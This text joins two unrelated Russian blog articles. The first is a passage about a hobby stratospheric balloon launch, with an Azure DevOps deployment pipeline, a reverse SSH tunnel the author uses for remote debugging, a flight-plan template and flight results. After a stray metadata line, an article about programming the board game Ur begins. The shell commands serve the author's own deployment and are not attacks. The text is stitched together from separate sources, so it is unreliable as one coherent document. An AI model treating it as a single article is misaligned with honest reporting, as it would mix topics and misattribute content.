> Не стоит путать parallel jobs и agents. Да, агенты тоже могут билдить ваши приложения, но хотелось бы билдить независимо от цели доставки, в облаке. А уже на целевые окружения доставлять готовые бинарники. Вот для билдов нам нужны эти Microsoft-hosted parallel jobs
Не отчаиваемся и идем [сюда](https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/hosted?view=azure-devops&tabs=yaml#capabilities-and-limitations), видим там такое:
> Public project: 10 free Microsoft-hosted parallel jobs that can run for up to 360 minutes (6 hours) each time, with no overall time limit per month. Contact us to get your free tier limits increased.
Контактируем с ними, заполняя форму и ждем. Народ в интернетах пишет, что реагируют они в течении 3-х рабочих дней. У меня всё случилось через сутки:
Это полностью закрывает все наши потребности. Теперь мы имеем 2 окружения (Home и Vostok), агенты на них и доступные в облаке 10 параллельных джобов для наших билдов.
Далее нам предстоит переквалифицироваться в yaml-программистов и создать, собственно, пайплайн. Чтобы поберечь ваши нервы, я приведу здесь, как пример, лишь один — для
**RpiProbeLogger.TerminalGui**
```
name: $(SourceBranchName)$(Rev:.r)
trigger:
paths:
exclude:
- ReverseSsh
variables:
- name: projectName
value: RpiProbeLogger.TerminalGui
readonly: true
parameters:
- name: sdkVersion
displayName: '.NET version'
type: string
default: net6.0
values:
- net5.0
- net6.0
- name: buildConfiguration
default: Release
displayName: 'Build configuration'
type: string
values:
- Release
- Debug
- name: targetRuntime
default: linux-arm
displayName: 'Target runtime'
type: string
values:
- linux-arm
- win10-x64
- osx.12-x64
stages:
- stage: BuildAndTest
displayName: 'Build and test'
jobs:
- job: BuildAndTest
displayName: 'Build and test'
pool:
vmImage: 'ubuntu-latest'
steps:
- task: DotNetCoreCLI@2
displayName: 'Build'
inputs:
command: 'publish'
publishWebProjects: false
projects: '${{ variables.projectName }}/${{ variables.projectName }}.csproj'
arguments: '--self-contained -r ${{ parameters.targetRuntime }} -f ${{ parameters.sdkVersion }} -c ${{ parameters.buildConfiguration }}'
zipAfterPublish: false
modifyOutputPath: false
- publish: ${{ variables.projectName }}/bin/${{ parameters.buildConfiguration }}/${{ parameters.sdkVersion }}/${{ parameters.targetRuntime }}/publish
displayName: 'Publish artifacts'
artifact: ${{ variables.projectName }}
- stage: DeployTerminalGuiHome
displayName: 'Deploy Home'
jobs:
- deployment: TerminalGuiHome
environment:
name: Home
resourceType: VirtualMachine
variables:
- name: TerminalGuiAtStartup
value: false
workspace:
clean: all
condition: in(variables['Build.Reason'], 'IndividualCI', 'Manual')
strategy:
runOnce:
preDeploy:
steps:
- script: sudo pkill -f ${{ variables.projectName }}
displayName: 'Kill running GUI process'
deploy:
steps:
- task: CopyFiles@2
displayName: 'Copy files'
inputs:
SourceFolder: '$(Pipeline.Workspace)/${{ variables.projectName }}'
Contents: '**'
TargetFolder: '$(HOME)/${{ variables.projectName }}'
CleanTargetFolder: true
- script: chmod +x $(HOME)/${{ variables.projectName }}/${{ variables.projectName }}
displayName: 'Make executable'
- stage: DeployTerminalGuiVostok
displayName: 'Deploy Vostok'
dependsOn: DeployTerminalGuiHome
jobs:
- deployment: TerminalGuiVostok
environment:
name: Vostok
resourceType: VirtualMachine
variables:
- name: TerminalGuiAtStartup
value: false
workspace:
clean: all
condition: and(startsWith(variables['Build.SourceBranch'], 'refs/heads/release-'), in(variables['Build.Reason'], 'IndividualCI', 'Manual'))
strategy:
runOnce:
preDeploy:
steps:
- script: sudo pkill -f ${{ variables.projectName }}
displayName: 'Kill running GUI process'
deploy:
steps:
- task: CopyFiles@2
displayName: 'Copy files'
inputs:
SourceFolder: '$(Pipeline.Workspace)/${{ variables.projectName }}'
Contents: '**'
TargetFolder: '$(HOME)/${{ variables.projectName }}'
CleanTargetFolder: true
- script: chmod +x $(HOME)/${{ variables.projectName }}/${{ variables.projectName }}
displayName: 'Make executable'
- script: if grep ${{ variables.projectName }} $(HOME)/.bashrc; then echo "##vso[task.setvariable variable=TerminalGuiAtStartup]true"; fi
displayName: 'Check if GUI run at startup'
- script: echo $(HOME)/${{ variables.projectName }}/${{ variables.projectName }} >> $(HOME)/.bashrc
displayName: 'Add GUI at startup'
condition: eq(variables['TerminalGuiAtStartup'], 'false')
on:
success:
steps:
- script: sudo shutdown -r +1
displayName: 'System reboot in 1 minute'
```
В `triggers -> paths -> exclude` видно *подозрительное*. Но к нему мы вернемся позже. Сейчас основная структура в двух словах:
* Есть параметры которые можно задавать перед выполнением пайплайна на UI. Возможно с ними я переборщил и их можно опустить.
* Есть `Stages`. Это самые высокоуровневые юниты пайплайна. Тут у нас `BuildAndTest`, `DeployTerminalGuiHome` и `DeployTerminalGuiVostok`. Между последними 2-я установлена зависимость через свойство `dependsOn` — деплоить на прод, только после деплоя на тест. Там еще, по хорошему, можно добавить условие `isSuccess`, но я его забыл\забил.
* Далее у нас идет деление каждого Stage на `Jobs`. Те самые, которые мы выторговали у Microsoft, и которые могут быть распараллелины. Но у меня везде по одной джобе, так что параллелить нечего. в Azure Pipelines есть 2 типа джобов: `build jobs` и `deployment jobs`. Они немного (сильно) разные по структуре и свойствам. Deployment jobs дают вам некоторую свободу выбора стратегии деплоймента (Canary, Rolling, GreenBlue, etc) и триггеры `preDeploy`, `on success`, `on fail`, etc. Триггеры полезны если вы хотите делать zero-downtime и\или откатиться при неудачном деплое.
* Ну и наконец `Steps` — это просто шаги, которые выполняются по очереди в каждой джобе. Могут быть shell-скрипты или какие-то таски из marketplace. Я использую *разное*.
Итого:
1. Билдим, запускаем тесты
2. Деплоим домой
3. Если до этого "ок" — деплоим на прод
Всего у меня в репозитории сейчас 3 пайплайна: RpiProbeLogger, RpiProbeLogger.TerminalGui и ReverseSsh. Последний выглядит странно, но он прикольный.
ReverseSsh
----------
Когда агент коннектится к серверам Azure и выполняет какую-то работу — это конечно прикольно, но так не подебажишь. Вот бы наш Vostok коннектился **ко мне**? Установить соединение *от меня к Vostok* не получается — я объяснял почему. Но моя домашняя сеть — это моя домашняя сеть. Она мне полностью подконтрольна (во всяком случае приятно так думать). Значит мы можем настроить все что надо у себя дома, а именно: белый и статичный IP (или использовать DynDNS и аналоги), включить перенаправление портов (Port Forwarding) на своем любимом роутере. А дальше дело за малым — используя стандартные возможности клиента ssh — установить со мной соединение. В данном случае я устанавливал соединение с моим домашним RPI, т.к. он всегда онлайн, в отличие от моего ноута.
Делается это так: `ssh -tt -i /home/user/.ssh/id_rsa -R 43022:localhost:22 pi@myhome.router.com`
Я подставил фейковые значения в параметры для наглядности. Давайте и покажу реальное содержимое файла `ReverseSsh\Scripts\reverse_ssh.sh`:
```
ssh -tt -i #{ReverseSshKeyLocation}# -R #{ReverseSshLocalPort}#:localhost:#{ReverseSshServerPort}# #{ReverseSshUsername}#@#{ReverseSshServerAddress}#
```
У меня эти значения хранятся в Azure DevOps и подставляются на этапе выполнения (информация чувствительная и хранить ее в репозитории — это моветон).
Итак:
`ReverseSshKeyLocation` — путь до приватного ключа на RPI
`ReverseSshLocalPort` — порт, который будет открыт на целевой машине (моем домашнем RPI). К нему мы, в дальнейшем, и будем коннектиться
`ReverseSshServerPort` — порт на который мы будем устанавливать соединение до моего домашнего RPI. Именно этот порт и надо добавить в правила Port Forwarding. У сисадминов бытует мнение, что для ssh всегда надо выбирать нестандартный порт (отличный от 22), т.к. это спасает от обнаружения массовым сканированием. Я не сисадмин, но имейте в виду — этот порт будет торчать наружу из вашей **домашней** сети.
`ReverseSshUsername` — пользователь на целевой (домашней) RPI
`ReverseSshServerAddress` — адрес\доменное имя домашней сети
Если все подставить\настроить правильно, выполнить команду выше, затем зайти на домашний RPI (или туда, куда вы разворачивали обратный тоннель) и попробовать соединиться по `ssh` с портом 43022, то должны увидеть нечто такое:
Ура, мы внутри продакшеновского RPI :3
Осталось немного полирнуть — сделать так, чтобы он теперь сам, без моих манипуляций, соединялся со мной, когда это возможно. Тут нам снова поможет подсистема сервисов\демонов (простите я всегда путаюсь в этой терминологии) `systemctl`. Я уже в первой статье создавал такой сервис — тот, который запускает наш логгер RpiProbeLogger. Тут механика та же, нам потребуется `.service`-файл:
```
[Unit]
Description=Reverse SSH Tunnel
After=network-online.target
Wants=network-online.target
[Service]
User=pi
WorkingDirectory=#{ReverseSshUserHomeDirectory}#
ExecStartPre=/bin/bash -c 'until host example.com; do sleep 1; done'
ExecStart=/bin/bash #{ReverseSshScriptPath}#
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
Type=exec
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=VostokSsh
[Install]
WantedBy=multi-user.target
```
Стоит обратить внимание на свойства `After`, `Wants` — их значения указывают, что `ExecStart` надо выполнить только после установления соединения с какой-либо сетью. Несмотря на, вроде бы, явные требования к сети, тут потребовался небольшой лайфхак из [интернетов](https://serverfault.com/a/867845). По не известной мне причине, сеть появляется раньше, чем подсистема DNS (наверно это ожидаемое поведение, но я такого не знал). Так что наш ssh просто не может зарезолвить доменное имя моей сети сразу же после появления связи. Из-за этого появилось свойство `ExecStartPre`. С помощью него мы можем отложить выполнение основной задачи, пока не зарезолвим имя проверочного хоста (example.com).
Установку и настройку всего этого хозяйства можете посмотреть в пайплайне `ReverseSsh\azure-pipelines.ReverseSsh.yml`
Технически, имея такой тоннель, необходимость в Azure стремится к нулю. Но исторически у меня сложился именно такой порядок реализаций, так что вот. Более подробно про reverse ssh можете посмотреть, например, [тут](https://www.howtogeek.com/428413/what-is-reverse-ssh-tunneling-and-how-to-use-it/).
Теперь, если хотите, можете хоть с телефона наблюдать:
Разумеется, это работает до тех пор, пока RPI имеет хоть какое-то соединение с интернетом.
Ладно, вроде на этом хардкор заканчивается, давайте в более гуманитарное русло.
Подготовка к запуску
--------------------
Да, тут мы поели "варенья"… Я не буду тут описывать те же вещи, что в каждой прошлой статье (про построение прогноза маршрута, выбора точки запуска и т.д.), опишу подробно лишь одну, так как она имеет критическое значение.
### Полетный план
Тот красивый и удобный сайт (new.ivprf.ru), который я рекламировал в прошлом сезоне — закрылся, так до конца и не открывшись. Это очень печальная новость, потому что теперь придется составлять планы "руками" и отправлять их по электронной почте (спасибо, что не факс, хотя на заре наших запусков была и такая история). Но, как оказалось — не все так страшно. Мы это делаем не первый раз и уже имеем шаблон для планов шаров-зондов:
```
(SHR-ZZZZZ
-ZZZZ1200
-K0300M3000
-DEP/5850N03325E DOF/220604 OPR/ИВАНОВ ИВАН ИВАНОВИЧ +79001234567 mymail@mail.ru
TYP/SHAR RMK/ОБОЛОЧКА 300 ДЛЯ ЗОНДИРОВАНИЯ АТМОСФЕРЫ SID/VSTK0160)
```
Это **абсолютно полный** полетный план шара-зонда. Именно в таком виде он отправляется в теле письма на почту зональному центру ОрВД.
> Как понять какой у вас зональный центр и куда писать смотрите в [Самодельный стратостат. Полётный план и ОрВД](https://habr.com/ru/post/592383/) или на [сайте ОВД](https://gkovd.ru/services/class-g/). В нашем случае это был СПБ ЗЦ с адресом spbzc@sz.gkovd.ru
Давайте разберем его по косточкам, чтобы вы могли легко адаптировать его под себя.
1. `(SHR-ZZZZZ` Открывающая круглая скобка — начало сообщения. Обязательно. `SHR` — тип сообщения (иногда используется кириллица — СХР). Для шаров-зондов это всегда SHR. `-ZZZZZ` далее через дефис идет рег. номер воздушного судна, если имеется. Если не имеется — 5 букв Z. Самодельному стратостату регистрацию не делают (во всяком случае маложивущему, может для тех кто летает через 12 часовых поясов и делают, но у нас не тот случай)
2. `-ZZZZ1200` Дефис и 4 буквы Z — заглушка для кода аэродрома вылета. Если запускаетесь с аэродрома — тут должен быть код. Мы запускаем по географическим координатам — значит у нас заглушка. `1200` далее без пробелов\дефисов — время вылета по UTC(!)
3. `-K0300M3000` Первая часть K0300 — скороподъемность аппарата в метрах в минуту (впереди лидирующий 0 для фиксации длины сообщения, обязателен). У нас 300 метров в минуту. Вторая часть M3000 — максимальный эшелон полета. Эшелон 3000 соответствует 30000 метров (или 30км). Просто делите свою максимальную ожидаемую высоту на 10 и получите свой эшелон.
4. `-DEP/5850N03325E DOF/220604 OPR/ИВАНОВ ИВАН ИВАНОВИЧ +79001234567 mymail@mail.ru TYP/SHAR RMK/ОБОЛОЧКА 300 ДЛЯ ЗОНДИРОВАНИЯ АТМОСФЕРЫ SID/VSTK0160)` Да, все в одну строчку, через пробел.
* `-DEP/5850N03325E` Координаты места запуска. Их формат смотрите в предыдущей статье, ссылка выше.
* `DOF/220604` дата запуска в формате `YYMMDD`.
* `OPR/ИВАНОВ ИВАН ИВАНОВИЧ +79001234567 mymail@mail.ru` ФИО и контактные данные (реальные) того кто запускает стратостат. С ним и по этим контактам будет связываться ОрВД и диспетчер запуска.
* `TYP/SHAR` Тип воздушного судна. Для нас это SHAR.
* `RMK/ОБОЛОЧКА 300 ДЛЯ ЗОНДИРОВАНИЯ АТМОСФЕРЫ` Примечание в свободной форме. ОрВД просило указывать это — мы указываем.
* `SID/VSTK0160` Идентификатор сообщения в системе ОрВД. Можно не указывать, они сами присвоят. Мы, зачем-то указали. Но это не обязательно.
* `)` Закрывающая скобка — конец сообщения.
Надеюсь все ясно. Да и бОльшую часть информации мы разбирали в прошлой статье. Информация-то на самом деле та же, просто там формы на сайте позволяли вводить ее в более привычном виде. Теперь такой роскоши нет.
**Второй момент**, который может омрачить ваше общение с ЗЦ. Я не хочу обвинять кого-то конкретного, да это и ни к чему, но… Пару раз нам перезванивали и мы слышали в трубке нечто вроде: Ало, это Иван Иваныч? А какого лешего мы должны сопровождать ваши запуски? Вы, вообще, с какого заведения?
При этом на почту они присылают такое:
Что ж… организация большая, государственная. Не лишена структурных "особенностей". Люди работают разные, некоторые — сменами. Так что, даже если вы день назад обо всем договорились, то на следующий день вам может позвонить другой человек и озвучить тот же монолог. Такое случалось.
Ирония заключается в том, что прочитав этот пункт 54 ФП ИВП постановления 138 от 11 марта 2010г (самое свежее на данный момент) по [ссылке на их же сайте](https://gkovd.ru/upload/activities-files/postanovlenie138.pdf), можно найти там такое:
Продублирую текстом: *Разовые запуски шаров-зондов производятся на основании планов использования воздушного пространства и разрешений на использование воздушного пространства.*
Планы предоставляете вы в ЗЦ ОрВД, а разрешения выдают они вам. Никакого согласования с федеральным агентством воздушного транспорта! Именно такой ответ их удовлетворил и они приняли наши планы, и разрешили запуски. Да, человек на том конце провода взял перерыв на "посоветоваться с начальством", но совет от начальства оказался на нашей стороне. На следующий день история повторилась (возможно пришла новая смена) и мы ее "разрулили" точно так же — упоминанием этого абзаца.
Запуск
------
Приперевшись на первую точку запуска, мы поняли, что это именно "первая" точка запуска аппарата Vostok-5. Мы тупо забыли про ветер. Да… Казалось, мы предусмотрели сотни вариантов провала, но абсолютно все забыли, что бывает ветер. Проблема в том, что она (точка) находилась посреди поля. Вокруг ни деревца. Ветер, порывами, был до 15 м\с. Он просто не давал накачать шар, вырывая его из рук и угрожая повредить его. Это заставило нас перенести запуск еще на 2 недели.
Приемлемым ветром мы посчитали скорость до 5 м\с и стали отталкиваться от этой цифры при выборе следующей даты запуска.
К назначенной дате мы выработали следующий протокол:
* За неделю до предполагаемой даты ищем 3 точки
* За 3 дня сверяем погоду, если, хотя бы в одной точке, погодные условия нас устраивают — подаем полетные планы (мы в итоге подали планы во все 3 точки)
* За день до запуска перепроверка погоды, отменяем планы в ОрВД в точках, которые стали непригодны
* Повторяем последний пункт в день запуска
Во второй раз нам повезло больше, плюс мы специально акцентировали свое внимание на точках, которые находятся под прикрытием леса — это сильно снижает скорость ветра. Скорость ветра важна, в основном, до того как вы отпустите шар. Что там будет на высоте — уже мелочи.
Повезло нам вдвойне, так как на этот раз нам согласовали точку запуска всего в часе езды. Это давало нам широкий простор для маневров. Можно было не ночевать в мотелях ожидая приземления, а просто поехать поспать домой. Можно было, в случае чего, сместиться дальше по маршруту и запуститься из запасной точки и т.п. Места там, как обычно — пришлось немного покосить траву. В остальном запуск прошел без приключений.
Я, кстати, на нем [тоже присутствовал](https://youtube.com/shorts/PP707cHpvwg?feature=share), хоть и не планировал.
> Ну и да — не стоит забывать про осадки. Я думаю это очевидно, что накачивать шар под дождем мало того, что не комфортно, так еще и вредно для шара (электроника +\- в любом случае у вас должна быть защищена от воды, т.к. неизвестно сколько она потом будет валяться на земле до вашего прибытия). Но опять же — это важно только до непосредственного запуска. Далее шар достаточно быстро пробьет облачность и осадков там не будет.
Поиск и спасение
----------------
Ребят, тут все было очень скучно — зонд упал в 20 метрах от дороги ¯\\_(ツ)/¯ Просто подошли и забрали. Его, конечно, потрепало об ветки и при ударе он немного разлетелся в стороны, но все оборудование работает в данный момент штатно. Даже несмотря на то, что из короба мы слили примерно литр осадков и, похоже, местные медведи похитили у нас один павербанк (мы не смогли его обнаружить в радиусе 5 метров от места крушения). Ну ладно, пусть он служит им долго и верно.
Отмечу лишь, что прогноз маршрута, построенный на все том же [CUSF Landing Predictor](http://predict.habhub.org/), оказался очень точным. Зонд приземлился в 50 метрах от расчетного места.
Результаты
----------
### Высота
Ура, ура! Это меня радует, но тоже коротко. Температуры\влажности\гироскопы и т.п. мы уже разбирали много раз. Там без изменений. Самое главное для нас в этом запуске — высота!
Иииии… У нас снова "устал" GPS в полете. Такое уже случалось ранее и в коментах народ предполагал, что это может быть из-за ориентирования антенны. У меня нет повода спорить с этим предположением. В этот раз антенна GPS просто болталась на проводе снизу. Что же, надо было что-то испортить, вот мы испортили GPS. Но у нас есть план "Б" (всегда)!
[Барометрическое нивелирование](https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D1%80%D0%BE%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BD%D0%B8%D0%B2%D0%B5%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) и высшая математика. Первое работает плохо на высотах выше 12км, во втором я не разбираюсь. Но это не помешает мне утверждать, что с вероятностью 100% мы достигли минимальной для нас высоты — 30км.
Давайте сразу график:
Итак, видно, что в полете мы теряли GPS несколько раз. А после 25км он пропал надолго и вернулся только на обратном пути. Хорошо, что мы пофиксили старый баг, из-за которого теряли все данные без сигнала GPS.
> Вы знаете, у нас есть "конспирологическая" теория, что GPS там пропадал неслучайно… Т.к. он так же пропадал и на обоих поисковых трекерах. С другой стороны — ОрВД разрешило нам запуск из этой точки, значит никаких "закрытых" зон мы пересекать не должны были. Ну, это всего лишь догадки.
Оранжевая линия — это барометрическое нивелирование. Видно, что оно очень хорошо совпадает с GPS до 12-13км, а выше идет в разнос.
Зеленая линия — это линейная интерполяция в Excel. Интерполировал только верхний сегмент полета. Как смог, так смог. Если кто-то умеет лучше — все данные в репозитории, ссылки в статье.
### Давление
Слабый аргумент, если взять во внимание особенности барометрического нивелирования, но все равно аргумент:
Минимальное значение в этот раз: **0.25mbar**
Я напомню\дополню табличку с прошлого запуска:
| Шар | Высота (м) | Давление (мбар) |
| --- | --- | --- |
| Vostok-1 | 18993 | 58 |
| Vostok-3b | 25573 | 19.8 |
| Vostok-4 | 35794 | 0.49 |
| **Vostok-5** | **?????** | **0.25** |
Что же, вдвое (!) ниже чем в прошлый раз! Да, здесь, конечно, не линейная зависимость. Мы и не говорим, что улетели на 70км. Но я считаю, что это достаточное доказательство того, что заданную высоту в 30км мы точно преодолели!
> Между собой мы голосуем за высоту ~34км
Убедительно? Убедительно. Теперь посмотрим своими глазами, что оттуда видно ;)
Видео
-----
Сначала гордость нашей миссии — 4k 30fps сферическое (с обзором 360 градусов) видео всего полета. Как я уже упоминал выше — можно крутить камерой в приложении YouTube или у них на сайте (не ручаюсь за встроенные видео), можно использовать VR функцию YouTube и смотреть в очках (даже картонных). Таким образом у вас появится возможность лично пережить крушение аппарата и влететь на всей скорости в елки. А еще, у некоторых наших бета-тестеров, на высоте возникала тошнота и легкое головокружение. Имейте в виду.
В видео есть разбивка на эпизоды, т.к. не каждый выдержит 2,5 часа смотреть в пустоту.
Думаю, сориентируетесь :)
**Гифка для затравки со взрывом шара**
Еще эта камера позволяет делать такие вот кадры. На YouTube все ровно, не переживайте (в 360 версии):
**3 фотки**
Если вы досмотрели (как-то) видео, то вы могли заметить, что парашют нам практически не пригодился… Да, он конечно немного замедлил падение, а основную роль, я думаю, он сыграл, цепляясь за ветки. Нооооо… Мы немного на другое рассчитывали :) Если коротко, наша версия такова:
* парашют раскрылся в верхней точке
* остатки шара упали ниже уровня парашюта
* набегающим потоком шар загнало под купол и это нарушило работоспособность парашюта
Доставка этого видео на ютуб потребовала от нас решения некоторых задач. Исходник материала размером ~105GB. Не все из них — полет. Часть — это процедуры перед запуском, часть — лежание на земле после крушения. Но около 90GB — это полет. С горем пополам, используя `scp`, ребята доставили эти 105GB ко мне. Где я, имея лишь дохлый рабочий ноут (ладно 2 дохлых ноута), 3 дня обрезал и превращал это все в единое и удобоваримое для ютуба видео. Потом еще почти сутки оно загружалось и 2-е суток обрабатывалось ютубом. Итого — почти полная неделя от зонда до YouTube.
> Предвосхищаю вопрос: почему `scp`, а не, например, `rsync`? Ведь сеть "икнет" и начинай сначала!
>
> Отвечаю: Да. Икала. И начинали сначала. Но у нашего конструктора (а именно он мне скидывал материалы) Win7 на ноуте. И я не смог найти хоть сколько-то рабочего варианта `rsync` под эту ОС за короткое время. Так что насиловали `scp`.
Бонусом нарезали короткое reframe-видео под веселую royalty-free музычку из банка YouTube. Не обессудьте — я у мамы монтажер (около 4-х минут):
Ну и конечно вы не могли не заметить, насколько бесполезным оказался наш дисплей (если кто не понял — он работает, просто из-за бликов видимость 0 на протяжении всего полета). Штош, учтем в следующий раз. Скорее всего закрепим на стенке. Но это не точно.
Выводы
------
В итоге, все цели поставленные перед миссией, были выполнены. Видео 4k с высоты 30+ км. мы привезли. Его можно крутить, его можно смотреть, его можно использовать в дебатах со сторонниками теории плоской земли.
На данные момент мы поставили новую цель — снизить стоимость запусков. Для этого надо снизить стоимость "расходников". Наш самый дорогой, до сих пор — это шар. Латекс из Китая массой 2 кг. занимает примерно 80% всех расходов в каждом запуске. Нам подсказывали ранее, что хорошей альтернативой может стать полиэтилен. Это мы и вознамерились проверить. Если с ним всё сложится, то это уменьшит стоимость запуска на 2 порядка!.. Между собой мы называем это — запуск на пакетах из Ашана.
Что делать с парашютом — мы пока не знаем. Возможно проблема уйдет сама при запуске на пакетах. Ну и с бликами дисплея надо что-то придумать. Пока что рабочая версия — разместить "как-то" на боковой стенке. Будем посмотреть.
На этом всё. Fly safe, cmdr!
Ссылки
------
Оказывается выискивать ссылки в тексте очень неудобно, пусть будут списком еще и тут:
* Поисковый трекер [Азимут IRIDIUM/GSM](https://www.decima.ru/video_audio/catalog/navigatsionnye_pribory/treker_navigatsionnyy_sputnikovyy_azimut_iridium_gsm/)
* Камера [Insta360 One X2](https://www.insta360.com/ru/product/insta360-onex2)
* LCD дисплей [Waveshare 4.1inch Touch DSI](https://www.waveshare.com/4.3inch-dsi-lcd.htm)
* 15 pin FFC шлейфы — [Китай](https://aliexpress.ru/item/1005004101445637.html)
* Сайт для отслеживания трекера [flyrf.ru](https://flyrf.ru/)
* Картонные [VR очки](https://imcardboard.com/)
* Репозиторий с [исходным кодом](https://github.com/ArtemKiyashko/RpiProbeLogger)
* Файлы [телеметрии](https://github.com/ArtemKiyashko/ProbeLoggerArticle5/tree/master/telemetry)
* Межпроцессная коммуникация в проекте — [ZeroMQ](https://zeromq.org)
* Dotnet GUI для терминала — [Gui.cs](https://github.com/migueldeicaza/gui.cs)
* Запрос на 10 parallel jobs в [Azure](https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/hosted?view=azure-devops&tabs=yaml#capabilities-and-limitations)
* ExecStartPre фикс для сервиса с [After=network-online.target](https://serverfault.com/a/867845)
* Про [Reverse SSH](https://www.howtogeek.com/428413/what-is-reverse-ssh-tunneling-and-how-to-use-it/)
* Страница сайта ОВД для [пространства класс G](https://gkovd.ru/services/class-g/)
* Постановление 54 ФП ИВП с порядком запуска [шаров-зондов](https://gkovd.ru/upload/activities-files/postanovlenie138.pdf)
* Построение прогнозов траектории для шаров-зондов — [CUSF Landing Predictor](http://predict.habhub.org/)
* Метод расчета высоты по разнице давлений — [Барометрическое нивелирование](https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D1%80%D0%BE%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BD%D0%B8%D0%B2%D0%B5%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
* Про [интерполяцию](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BF%D0%BE%D0%BB%D1%8F%D1%86%D0%B8%D1%8F)
 | https://habr.com/ru/post/671290/ | null | ru | null |
# Как мы Ур делали
***This game has no name.
Виктор Пелевин «Generation П»***
***Дорога в тысячу ли начинается с первого шага.
Лао Цзы***
В отношении моей [предыдущей статьи](http://habrahabr.ru/post/224661/), Хабр-эффект сработал неожиданным образом. Самым первым комментарием к ней, уважаемый [Nomad1](https://habr.com/users/nomad1/) [поинтересовался](http://habrahabr.ru/post/224661/#comment_7648091), не хочу ли я создать полноценную реализацию? Я, в тот момент, по обыкновению, думал о своём и не сразу его понял. Конечно же, речь шла не о создании универсального игрового движка (мысль о котором не даёт мне покоя), а о разработке реализации игры Ур для мобильных платформ. Хотя я слабо представлял себе, на тот момент, чем я могу оказаться полезен, я согласился помочь.
Разумеется, все мои [наработки](https://github.com/GlukKazan/ZoG/commits/master/Rules/07.Ur.zrf) для ZoG оказались здесь совершенно бесполезны. ZRF настолько своеобразный язык, что все его решения и идиомы имеют ценность лишь для ZRF-разработчиков и ни для кого больше (по большей части, все они решают проблемы самого ZRF). По счастью, у Алексея уже был готовый framework, позволивший запрограммировать игровую логику в рекордно короткие сроки. Моей задачей стала сверка игровых правил и разработка принципов работы AI для этой игры.
Мы постарались как можно более точно воспроизвести [вариант правил](http://skyruk.livejournal.com/231444.html), предложенный [Дмитрием Скирюком](http://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B8%D1%80%D1%8E%D0%BA,_%D0%94%D0%BC%D0%B8%D1%82%D1%80%D0%B8%D0%B9_%D0%98%D0%B3%D0%BE%D1%80%D0%B5%D0%B2%D0%B8%D1%87), поскольку считаем его наиболее интересным (в игровом отношении) из всех предложенных на сегодняшний день.
**Напомню правила**
В вашем распоряжении 7 бойцов-новичков. Ваша задача — провести их через реку и вернуть домой. Боги помогут вам в пути.
* Если белый цвет выпал на одной из костей, вы можете сделать один шаг.
* Две белых кости означают, что любой из ваших бойцов может переместиться на два шага.
* Если белый цвет выпал на трёх костях, вы можете передвинуть любого из своих бойцов на три шага.
* Три чёрных кости дают право сходить на четыре шага вперёд.
Если ни один из ваших бойцов не может ходить, вы пропускаете ход.
Не все места, через которые вы пройдете одинаковы.
Это врата Иштар — покровительницы воинов.
Остановившись здесь, вы имеете право сделать ещё один ход.
Здесь можно разбить лагерь. В лагере могут находиться не более 4 ваших бойцов.
Пока в лагере есть хотя бы один боец, враг не может войти в это место.
Это святое место. Враг не может напасть на вас здесь, но и вы не можете напасть на него. Не более 4 бойцов (ваших и вашего противника) могут пребывать в этом месте. Помните, первым уходит тот, кто вошёл последним!
Пройдя через это место, бойцы-новички превращаются в воинов-ветеранов. Новичек не может одолеть в бою ветерана, но и ветераны не нападают на новичков.
Никто не может одолеть ветерана, пока он находится в этом месте.
Выйдя из лагеря, вы встретитесь с врагом. Если один из ваших бойцов будет убит, вы получите ещё одного новичка.
Семь воинов должны перейти реку и вернуться домой.
Враг не должен вас опередить!
Одной из «изюминок» этого варианта правил является процесс «переворачивания» фишек. Напомню, что фишки переворачиваются для того, чтобы игрок не запутался в направлении их движения. Обычные фишки двигаются по направлению к «малому» блоку, перевернутые — от него. Но «переворачивание» фишек влияет и на игровой процесс. Друг друга могут «рубить» только одинаковые фишки. Обычные фишки не могут «срубать» перевернутые и наоборот. Это весьма разнообразит игровой процесс, но создаёт угрозу «заторов». Например, в процессе отладки ZoG-приложения у меня возникла следующая ситуация:
Это реальная позиция, возникшая в процессе тестового прогона варианта игры «Simple Ur», в котором поля доски, кроме «розеток», не обладают никакими особыми свойствами. Этот затор совсем не просто разобрать (если бы в резерве не оставалось фишек, игра бы на этом и закончилась). Сколько бы очков не выкинул любой из игроков, ни одна из заблокировавших друг друга фишек не сможет сдвинуться с места. Я думаю, это главная причина, по которой Дмитрий ввёл в игру специальные поля. Поля c2 и f2 (в шахматной нотации) призваны разгрузить «трафик».
На этих полях, фишки любого цвета можно выстраивать «столбиком» друг на друга (но не более 4 штук). При этом нижние фишки не возвращаются в резерв, а просто остаются блокированными, пока верхняя фишка не пройдет дальше. Это простое изменение правил оказывает на игровой процесс волшебное действие. Затор перестаёт существовать. Столкнувшиеся фишки легко расходятся! Но на этом сюрпризы, связанные с переворачиванием фишек, не заканчиваются. Посмотрите на следующую позицию:
По правилам Дмитрия, фишка переворачивается не тогда, когда она встаёт на поле превращения (h1 для белых и h3 для чёрных), а проходя через него! В результате, белая фишка не может срубить чёрную на h3, поскольку она должна быть перевёрнута, сделав любой ход с h1. Зато она легко бьёт перевернутую черную фишку на h2, переворачиваясь в процессе хода! Это правило, фактически, делает безопасными поля g1, h1, g3 и h3. Эти поля — идеальное место для «засады».
Также безопасно (но по другой причине) поле g2. На этом поле «с глазами» фишки также можно выстраивать «столбиком», но только фишки одного цвета! Пока это поле занято хотя бы одной нашей фишкой, вражеская фишка не может зайти на него. Аналогичные поля на b1, b3, d1 и d3 помогают более эффективно вводить в игру новые фишки.
